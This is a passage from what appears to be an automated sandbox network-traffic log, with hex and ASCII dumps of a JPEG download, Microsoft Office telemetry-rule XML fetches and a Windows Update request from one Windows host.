2024-11-23 20:59:23 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 38 3a 32 34 20 30 39 3a 34 37 3a 32 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:08:24 09:47:218C
2024-11-23 20:59:23 UTC	8192	IN	Data Raw: c7 a9 ce 2b 36 e6 49 5a 48 06 f8 97 0e 7e ea 96 3d 3d cd 55 16 9a 6d ad 1b 39 b1 50 6a a4 62 9e a9 5b fa eb b1 26 a9 24 69 66 5d 88 55 57 42 5b 1d 06 7a d3 74 2f 10 59 da db ca 92 25 c4 cc 66 24 15 50 a0 8c 0e e4 f7 a8 35 78 a4 97 4f 75 12 4a ec d8 0a 38 51 9c f4 23 15 cf da 10 15 f7 10 0e ee 87 ad 45 64 a5 51 1b e1 5c a1 49 fa 9d ad 9f 89 9e e6 f1 be cf 65 1a 6c 8f ac d2 96 ef e8 a3 fa d7 49 f0 ef 54 b0 93 c5 0a 3c 4b 29 8e d0 db ca 62 6b 78 4e 52 5c 7c 84 80 49 61 9e 31 5e 7b e1 f6 d9 71 27 ca dc a0 c7 ca 4e 70 7e 95 b5 a6 ca e3 52 85 8c 72 28 e7 96 18 19 e3 df 35 15 b0 f0 9e 1e 49 3b 36 b7 5b a2 e9 62 aa c7 15 1b ed a6 87 a4 e9 f0 1b 1f 13 34 12 22 c4 b7 51 90 3c d5 23 66 7d bb 1f f1 ae 89 85 64 dc cb 26 a5 a1 d9 6b a5 ee e6 b8 8e 60 97 b7 33 80 55 a5 Data Ascii: +6IZH~==Um9Pjb[&$if]UWB[zt/Y%f$P5xOuJ8Q#EdQ\IelIT<K)bkxNR\\|Ia1^{q'Np~Rr(5I;6[b4"Q<#f}d&k`3U
2024-11-23 20:59:24 UTC	4144	IN	Data Raw: d5 13 70 12 61 79 ce 3a 81 93 f4 26 b4 26 d3 5c cc 4f 95 a4 c8 09 18 f2 ee 80 3d 0e 78 c8 aa 57 f6 b7 36 d7 1b fe c0 11 19 40 0d 1c a1 c1 39 cf 40 4d 4f b4 a3 3d 12 b3 ef a1 5e ce ac 75 bd fe f1 2d f4 f9 fe c3 17 cf a7 b0 dc 3a 5c 0d c0 67 a6 0e 2b ad f8 77 6b 24 33 5e 92 91 2a 98 d0 65 24 56 c9 c9 f4 26 b9 48 43 fd 95 4b db c8 06 47 6f 7a ea 3e 1a 8c 5d 5e 65 48 fd d2 f2 47 fb 55 d5 4e 95 a4 9a 9d ce 49 d6 6d 34 e1 63 aa c1 e8 28 c7 cd 4e 1e d4 8d 5d a6 56 d2 e2 75 e2 9b 52 60 77 a6 9e 70 3d 68 13 d4 e3 be 27 09 34 8b 9b 4d 4e 68 c4 91 6a 91 b0 b7 58 d8 6e fd d1 da e5 f3 f7 79 61 8f 6a e2 e7 d7 e5 37 0c 22 b3 8d 7f 76 0e 64 90 b7 7c 76 03 f9 d6 ff 00 c6 c9 82 78 82 c6 39 25 da a2 cc 95 52 49 1c b9 c9 03 fc 2b 88 59 c3 5d 1d 89 24 98 84 0c ac 67 d4 fa e2 Data Ascii: pay:&&\O=xW6@9@MO=^u-:\g+wk$3^*e$V&HCKGoz>]^eHGUNIm4c(N]VuR`wp=h'4MNhjXnyaj7"vd\|vx9%RI+Y]$g
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: 0a b6 af 75 3c ad 1c be 73 4e 49 3c 91 b7 04 f1 92 33 d2 a7 f0 35 c5 b7 87 9a 3b d9 6c e4 bf bd 49 43 2a ca c0 c0 23 04 1d a5 58 31 24 91 8f 4c 57 1d 4a 31 9a 4f 76 af bf 53 a3 d8 cf d9 42 36 6f fa 5d cf 37 f8 96 50 7c 56 96 e6 de 40 d1 5e aa 12 57 0f d6 35 61 9c 1c 64 67 1e d5 15 d8 db e5 66 46 ff 00 5a 3a 00 3b 1f 6a d7 f8 a8 04 9e 33 5d 6a 3b 35 81 75 17 77 78 2d d7 e4 89 b8 e9 d3 af 5a e7 ee a4 99 d6 37 31 60 79 a3 ef 48 3a f3 d8 66 bd 7c 26 b4 ee ce 1c 6d e3 51 2e b6 f2 f9 13 ea 04 25 8b cc 24 61 b7 07 25 8f 18 23 af 6c 54 de 1a d4 ed 23 7b c2 4b 1d d2 03 b6 08 98 8c 63 a8 ec 3f 3a a5 a8 24 cd a4 cd f3 c5 80 bd 14 12 dd 47 1f e4 55 6d 0f e6 17 24 82 7e ef f2 35 75 29 29 d4 44 d0 c4 4e 8d 26 ed 7d 7f c9 1d 3b 6b d6 e2 e5 02 5a 5c 39 54 24 6e db 1f a7 Data Ascii: u<sNI<35;lIC*#X1$LWJ1OvSB6o]7P\|V@^W5adgfFZ:;j3]j;5uwx-Z71`yH:f\|&mQ.%$a%#lT#{Kc?:$GUm$~5u))DN&};kZ\9T$n
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: c1 39 69 0e 78 ef 8f f0 f7 a2 e2 04 da df e9 1f bc 54 e4 44 bb a4 72 71 85 4e ca 3b b1 3d ab d5 c4 34 a8 dd f9 7e 68 f2 f0 f7 f6 cb e6 42 eb 65 0c 8d f6 99 1b 50 99 58 80 83 31 db 45 ec 00 c1 7f af 00 fb d3 63 bb 96 5b a8 a3 6e 15 18 94 8a 35 01 17 18 fb aa 38 e3 d4 d4 3b 0b dc bc 00 34 d7 0c 78 82 d8 6e 7c fb 91 9c 7e 1d 2a 6f b2 2c 40 0b e9 fe c8 bc 87 b7 b4 fd e4 ac 78 c8 66 27 0b 8f 4c 9f a5 62 9d 28 f2 72 2e 69 1a bf 6b 27 37 37 68 ff 00 c1 1b ab c8 92 5d 39 69 b7 30 5d a1 21 1b e4 63 81 c0 03 8c d3 9e ca 68 13 7d d3 47 a6 a9 1b bc af f5 97 52 8c 77 03 ee e7 d4 e3 06 86 bc 4b 78 dd 34 eb 75 b2 52 84 6e 8c 93 23 74 fb d2 1e 7f 2c 01 55 d9 19 ed cb 85 0a ad 9c c9 21 d8 a4 e0 f3 93 c9 a7 ec a6 f9 fd a4 b9 52 ff 00 2f eb b9 32 a9 14 e1 ec e3 76 ff 00 cf Data Ascii: 9ixTDrqN;=4~hBePX1Ec[n58;4xn\|~*o,@xf'Lb(r.ik'77h]9i0]!ch}GRwKx4uRn#t,U!R/2v
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: 83 de bd 0f e2 e3 db d8 59 e9 f7 f0 5c ac 9a 8d c4 92 40 6d 1d 4e d8 e1 40 18 4b 91 c9 24 b1 5c 70 06 2b cf a4 d6 75 27 bc 54 0f 0a 29 46 27 64 20 f4 23 a1 24 d6 0a 75 a4 df 22 d1 7f 5d 4d 9c 70 d1 b7 b4 f8 9a f3 2a 6a 3a 62 d8 dd 44 44 8c ed 22 32 80 00 55 00 10 73 c7 f2 aa cc 84 5f c4 0a 0e 51 f9 c9 e3 a7 3d aa 4d 52 e6 e4 de c4 d7 33 33 fe ed b6 f1 9e 72 b9 c0 02 a9 c9 76 e2 ea 26 f2 a6 27 6b f0 57 1e 9e a4 57 55 35 2e 5f 7d ea 79 d8 89 47 9e f4 e3 65 e8 39 25 5b 79 ae 23 6b 85 56 f3 73 e8 7e e8 ec 2b 6f c0 32 89 6e af 08 72 c3 ec c7 92 08 1d 7b 12 39 ab 7a 2f 86 a2 9e cd 2f 64 bc 95 5a e8 09 0a 2a 8f 97 23 18 dd df a5 6a 58 68 b6 da 7c ce f0 4b 36 e9 22 65 72 5b b7 e5 c5 73 d6 c4 41 c1 c1 6e 76 61 70 b5 23 38 d4 7b 7f c0 38 cd 0c a4 b7 21 64 8a 5d 88 Data Ascii: Y\@mN@K$\p+u'T)F'd #$u"]Mpj:bDD"2Us_Q=MR33rv&'kWWU5._}yGe9%[y#kVs~+o2nr{9z//dZ#jXh\|K6"er[sAnvap#8{8!d]
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: b9 7e 4f d7 f2 ae 87 c2 7a 15 f6 9d ad db dd dc c6 4a a0 65 e6 7d ec 32 0e 38 ce 2b 1f 5a f8 71 7d ac eb d7 7a 93 ea b6 b6 f1 5d dc 3c 89 19 8d e4 65 52 7a 1e 83 3f 4a 97 88 a7 1a ee 57 ba b0 e3 83 ab 2c 2a 86 ce f7 35 fe 1e f9 52 5d 3b a4 91 b4 8f 6e 77 84 90 36 00 61 8c a8 e9 5c 90 bf 45 6d a9 f3 60 91 f2 a1 6c f3 d3 a5 76 9e 0b f0 a7 fc 23 57 46 51 a8 fd ad 9e d8 c4 a3 ec e1 02 a8 6d dd 41 cb 1c 9e fd a9 2d fc 21 a6 94 0f 34 b7 52 b3 61 8f ef 02 8e 79 ec 3a 54 d3 c5 42 33 94 9f 52 aa e0 67 3a 31 82 e9 7f eb a9 e6 9a a2 0b df 10 40 4e e8 e4 59 11 81 75 c1 e1 4f 41 e8 6b 5f 51 08 ba 79 23 01 8b 27 41 8e e2 b5 be 25 78 7b 4f d3 ad ac 6f 2c 10 c3 30 9f 12 12 c5 cb 28 18 03 9e 06 0f 3d 2b 9c bb 8a 43 64 58 3d c6 4b 29 ce ec 0e a3 b0 02 ba a8 54 84 b9 a6 ba Data Ascii: ~OzJe}28+Zq}z]<eRz?JW,*5R];nw6a\Em`lv#WFQmA-!4Ray:TB3Rg:1@NYuOAk_Qy#'A%x{Oo,0(=+CdX=K)T
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: 45 1d c5 c5 db c8 d7 a8 48 98 c4 a8 07 93 9f ee 6e 3b b8 e7 35 e5 b7 2a 1e fa 10 ce ed 95 7c 86 90 b7 40 31 9c 93 51 18 55 9d da 76 57 ff 00 2d 4a 95 5a 34 d2 4e 37 76 2f 78 8e d2 ce 1b 8b 51 14 71 ac 8c 5c 1d ad 92 14 01 d4 67 3d 6b 26 f1 04 57 56 c1 48 21 8b 8e 54 67 a0 ef cd 3a ec 24 17 d6 cd 1c 5b 89 59 33 b7 00 e0 01 d4 9c 71 55 75 0b 99 a4 b9 b7 02 df 63 02 fc 99 94 e7 81 e8 38 ae aa 70 71 8d 9b b9 c7 5a aa 9c f9 a2 92 d3 cb cc b1 a6 cf 04 57 37 0b 34 e1 72 eb 9d cc 33 8d a3 f4 ae 8b c1 72 db cb aa 91 6f 3c 72 37 90 d9 0b 91 81 91 c9 c8 a6 f8 5f c3 31 cd a7 ad fc b7 8c 1a f5 43 b4 6b 18 21 48 18 00 31 e4 fa f3 5b 1a 66 85 6f a6 dc f9 f0 dc 5c 34 92 46 c0 97 20 8c 0c 1e 06 38 ae 4a f5 a0 d4 a2 b7 3b 28 e1 ea a9 46 4f fa d0 cd f0 cd de 8a 8b e7 ea 13 Data Ascii: EHn;5*\|@1QUvW-JZ4N7v/xQq\g=k&WVH!Tg:$[Y3qUuc8pqZW74r3ro<r7_1Ck!H1[fo\4F 8J;(FO
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: 38 18 1e b4 e1 60 d3 62 39 ed e6 9f e5 2c d6 b0 b6 d2 54 0c 96 91 fa 20 03 9f 53 ed 9a 92 e9 d6 1b 87 5b 64 2a db 98 34 cd f7 8f 3d 07 f7 7e 83 9a 64 91 48 b6 e9 6b 14 17 33 35 f4 44 18 e2 3f 34 c0 1c f4 e9 80 79 c9 e9 5e c5 69 3f ab db 6d 17 f5 fd 7e 07 9f 4a 2b db 7c d9 56 e3 51 92 da 47 8a c0 c7 69 1b 60 93 04 61 64 7c 8e ef cb 1f cc 55 57 f3 a4 85 5c 8c 2e f0 5a 59 db 68 e9 d4 93 c9 35 24 e2 4b 5b 99 16 49 2d ec b6 9d a5 57 f7 d3 64 01 c1 23 81 f9 8a 86 f0 d9 c3 6d 0c f2 86 b9 3c e1 ae a4 c8 ce 07 f0 82 07 e6 4d 73 7d 72 11 8c 54 16 ab f1 fe bd 4d 63 85 9c a4 dc 9e 8f fa fe b4 0b 71 04 8f 22 2c f3 5c 32 29 dc 96 d1 13 d4 1f e2 3d bd f1 57 20 b6 b8 45 52 b1 58 e9 83 20 fe f0 f9 f3 e3 e8 33 8c fb e2 a9 db eb 21 ed ae 13 cc c2 84 20 24 60 22 9e 3a 60 01 Data Ascii: 8`b9,T S[d*4=~dHk35D?4y^i?m~J+\|VQGi`ad\|UW\.ZYh5$K[I-Wd#m<Ms}rTMcq",\2)=W ERX 3! $`":`
2024-11-23 20:59:24 UTC	8192	IN	Data Raw: f4 f5 8c ba 36 c7 81 b7 64 60 9e 54 f2 38 19 f7 ae 7d 34 d3 1c 91 3b 5b 3a 7e f4 12 14 92 a3 8f 43 9e 33 5d 3c 36 bf da 0e bb 36 a1 89 0e 33 cf 1b 4a ff 00 5c d1 cc 99 32 26 bf d5 ad f5 1d 36 29 34 cf 32 59 5a 48 a5 85 1a 32 0f 27 23 39 e0 03 8f 5a e5 35 6d 5c be 8b 24 11 c4 d2 ac 97 66 46 2c a4 15 2d 93 b4 67 81 8a ea 74 3d 2a e7 4c 8e d6 27 c4 85 15 23 cc 79 c7 ca 18 93 cf 6f eb 5c b5 80 96 6f 0b ce 25 32 36 db b4 c6 f0 72 0e d3 9e bc d1 b2 d0 22 92 35 fc 14 de 66 83 72 e9 c7 ef d8 26 ee 72 08 03 e6 ff 00 f5 d5 eb 4d 2a da d3 50 4b 88 11 94 b4 22 0d a5 89 50 ab c8 23 3c 8e a7 bd 43 e1 28 95 7c 39 70 7b 2b 39 03 dc 0c 8a 76 89 a9 cb a9 df 08 1a d8 45 b2 21 2e fd d9 07 27 18 fd 3a d1 a9 a6 9a 18 9a 61 88 f8 a2 32 af b9 96 d5 c1 00 74 20 b6 47 e1 9a f5 bf Data Ascii: 6d`T8}4;[:~C3]<663J\2&6)42YZH2'#9Z5m\$fF,-gt=L'#yo\o%26r"5fr&rMPK"P#<C(\|9p{+9vE!.':a2t G

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205925Z-178bfbc474bscnbchC1NYCe7eg000000055g0000000075y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205925Z-178bfbc474bv587zhC1NYCny5w00000004yg000000002g9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205925Z-15b8b599d882zv28hC1TEBdchn00000003dg000000004rgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205925Z-178bfbc474bh5zbqhC1NYCkdug00000004z00000000069kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205925Z-178bfbc474b7cbwqhC1NYC8z4n00000004xg0000000090q4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49765	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=spWa8mssMRPN6Ho&MD=w5aEVEvr HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 20:59:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d63e94de-acae-4788-b641-be3d5e49eec8 MS-RequestId: beac3970-c4b6-4276-b1cb-7e4ba1953745 MS-CV: 7EyE2406v0uoskeU.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 20:59:25 GMT Connection: close Content-Length: 24490
2024-11-23 20:59:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: 